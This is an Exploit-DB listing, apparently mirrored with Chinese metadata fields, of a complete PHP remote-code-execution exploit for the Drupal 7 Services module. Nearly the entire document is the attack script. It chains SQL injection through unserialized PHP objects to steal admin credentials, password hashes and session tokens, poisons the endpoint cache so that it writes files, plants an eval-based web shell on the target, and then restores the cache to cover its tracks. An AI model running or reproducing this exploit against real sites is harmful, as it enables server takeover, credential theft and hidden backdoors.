Drupal 7.x Module Services – Remote Code Execution

  • 作者: Charles Fol
    日期: 2017-03-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41564/
  • # Exploit Title: Drupal 7.x Services Module Remote Code Execution
    # Vendor Homepage: https://www.drupal.org/project/services
    # Exploit Author: Charles FOL
    # Contact: https://twitter.com/ambionics 
    # Website: https://www.ambionics.io/blog/drupal-services-module-rce
    
    
    #!/usr/bin/php
    <?php
    # Drupal Services Module Remote Code Execution Exploit
    # https://www.ambionics.io/blog/drupal-services-module-rce
    # cf
    #
    # Three stages:
    # 1. Use the SQL Injection to get the contents of the cache for current endpoint
    #along with admin credentials and hash
    # 2. Alter the cache to allow us to write a file and do so
    # 3. Restore the cache
    # 
    
    # Initialization
    
    error_reporting(E_ALL);
    
    define('QID', 'anything');
    define('TYPE_PHP', 'application/vnd.php.serialized');
    define('TYPE_JSON', 'application/json');
    define('CONTROLLER', 'user');
    define('ACTION', 'login');
    
    $url = 'http://vmweb.lan/drupal-7.54';
    $endpoint_path = '/rest_endpoint';
    $endpoint = 'rest_endpoint';
    
    $file = [
    'filename' => 'dixuSOspsOUU.php',
    'data' => '<?php eval(file_get_contents(\'php://input\')); ?>'
    ];
    
    $browser = new Browser($url . $endpoint_path);
    
    
    # Stage 1: SQL Injection
    
    class DatabaseCondition
    {
    protected $conditions = [
    "#conjunction" => "AND"
    ];
    protected $arguments = [];
    protected $changed = false;
    protected $queryPlaceholderIdentifier = null;
    public $stringVersion = null;
    
    public function __construct($stringVersion=null)
    {
    $this->stringVersion = $stringVersion;
    
    if(!isset($stringVersion))
    {
    $this->changed = true;
    $this->stringVersion = null;
    }
    }
    }
    
    class SelectQueryExtender {
    # Contains a DatabaseCondition object instead of a SelectQueryInterface
    # so that $query->compile() exists and (string) $query is controlled by us.
    protected $query = null;
    
    protected $uniqueIdentifier = QID;
    protected $connection;
    protected $placeholder = 0;
    
    public function __construct($sql)
    {
    $this->query = new DatabaseCondition($sql);
    }
    }
    
    $cache_id = "services:$endpoint:resources";
    $sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
    $password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';
    
    # Take first user but with a custom password
    # Store the original password hash in signature_format, and endpoint cache
    # in signature
    $query = 
    "0x3a) UNION SELECT ux.uid AS uid, " .
    "ux.name AS name, '$password_hash' AS pass, " .
    "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
    "ux.pass AS signature_format, ux.created AS created, " .
    "ux.access AS access, ux.login AS login, ux.status AS status, " .
    "ux.timezone AS timezone, ux.language AS language, ux.picture " .
    "AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
    "WHERE ux.uid<>(0"
    ;
    
    $query = new SelectQueryExtender($query);
    $data = ['username' => $query, 'password' => 'ouvreboite'];
    $data = serialize($data);
    
    $json = $browser->post(TYPE_PHP, $data);
    
    # If this worked, the rest will as well
    if(!isset($json->user))
    {
    print_r($json);
    e("Failed to login with fake password");
    }
    
    # Store session and user data
    
    $session = [
    'session_name' => $json->session_name,
    'session_id' => $json->sessid,
    'token' => $json->token
    ];
    store('session', $session);
    
    $user = $json->user;
    
    # Unserialize the cached value
    # Note: Drupal websites admins, this is your opportunity to fight back :)
    $cache = unserialize($user->signature);
    
    # Reassign fields
    $user->pass = $user->signature_format;
    unset($user->signature);
    unset($user->signature_format);
    
    store('user', $user);
    
    if($cache === false)
    {
    e("Unable to obtains endpoint's cache value");
    }
    
    x("Cache contains " . sizeof($cache) . " entries");
    
    # Stage 2: Change endpoint's behaviour to write a shell
    
    class DrupalCacheArray
    {
    # Cache ID
    protected $cid = "services:endpoint_name:resources";
    # Name of the table to fetch data from.
    # Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
    protected $bin = 'cache';
    protected $keysToPersist = [];
    protected $storage = [];
    
    function __construct($storage, $endpoint, $controller, $action) {
    $settings = [
    'services' => ['resource_api_version' => '1.0']
    ];
    $this->cid = "services:$endpoint:resources";
    
    # If no endpoint is given, just reset the original values
    if(isset($controller))
    {
    $storage[$controller]['actions'][$action] = [
    'help' => 'Writes data to a file',
    # Callback function
    'callback' => 'file_put_contents',
    # This one does not accept "true" as Drupal does,
    # so we just go for a tautology
    'access callback' => 'is_string',
    'access arguments' => ['a string'],
    # Arguments given through POST
    'args' => [
    0 => [
    'name' => 'filename',
    'type' => 'string',
    'description' => 'Path to the file',
    'source' => ['data' => 'filename'],
    'optional' => false,
    ],
    1 => [
    'name' => 'data',
    'type' => 'string',
    'description' => 'The data to write',
    'source' => ['data' => 'data'],
    'optional' => false,
    ],
    ],
    'file' => [
    'type' => 'inc',
    'module' => 'services',
    'name' => 'resources/user_resource',
    ],
    'endpoint' => $settings
    ];
    $storage[$controller]['endpoint']['actions'] += [
    $action => [
    'enabled' => 1,
    'settings' => $settings
    ]
    ];
    }
    
    $this->storage = $storage;
    $this->keysToPersist = array_fill_keys(array_keys($storage), true);
    }
    }
    
    class ThemeRegistry Extends DrupalCacheArray {
    protected $persistable;
    protected $completeRegistry;
    }
    
    cache_poison($endpoint, $cache);
    
    # Write the file
    $json = (array) $browser->post(TYPE_JSON, json_encode($file));
    
    
    # Stage 3: Restore endpoint's behaviour
    
    cache_reset($endpoint, $cache);
    
    if(!(isset($json[0]) && $json[0] === strlen($file['data'])))
    {
    e("Failed to write file.");
    }
    
    $file_url = $url . '/' . $file['filename'];
    x("File written: $file_url");
    
    
    # HTTP Browser
    
    class Browser
    {
    private $url;
    private $controller = CONTROLLER;
    private $action = ACTION;
    
    function __construct($url)
    {
    $this->url = $url;
    }
    
    function post($type, $data)
    {
    $headers = [
    "Accept: " . TYPE_JSON,
    "Content-Type: $type",
    "Content-Length: " . strlen($data)
    ];
    $url = $this->url . '/' . $this->controller . '/' . $this->action;
    
    $s = curl_init(); 
    curl_setopt($s, CURLOPT_URL, $url);
    curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($s, CURLOPT_POST, 1);
    curl_setopt($s, CURLOPT_POSTFIELDS, $data);
    curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
    $output = curl_exec($s);
    $error = curl_error($s);
    curl_close($s);
    
    if($error)
    {
    e("cURL: $error");
    }
    
    return json_decode($output);
    }
    }
    
    # Cache
    
    function cache_poison($endpoint, $cache)
    {
    $tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
    cache_edit($tr);
    }
    
    function cache_reset($endpoint, $cache)
    {
    $tr = new ThemeRegistry($cache, $endpoint, null, null);
    cache_edit($tr);
    }
    
    function cache_edit($tr)
    {
    global $browser;
    $data = serialize([$tr]);
    $json = $browser->post(TYPE_PHP, $data);
    }
    
    # Utils
    
    function x($message)
    {
    print("$message\n");
    }
    
    function e($message)
    {
    x($message);
    exit(1);
    }
    
    function store($name, $data)
    {
    $filename = "$name.json";
    file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
    x("Stored $name information in $filename");
    }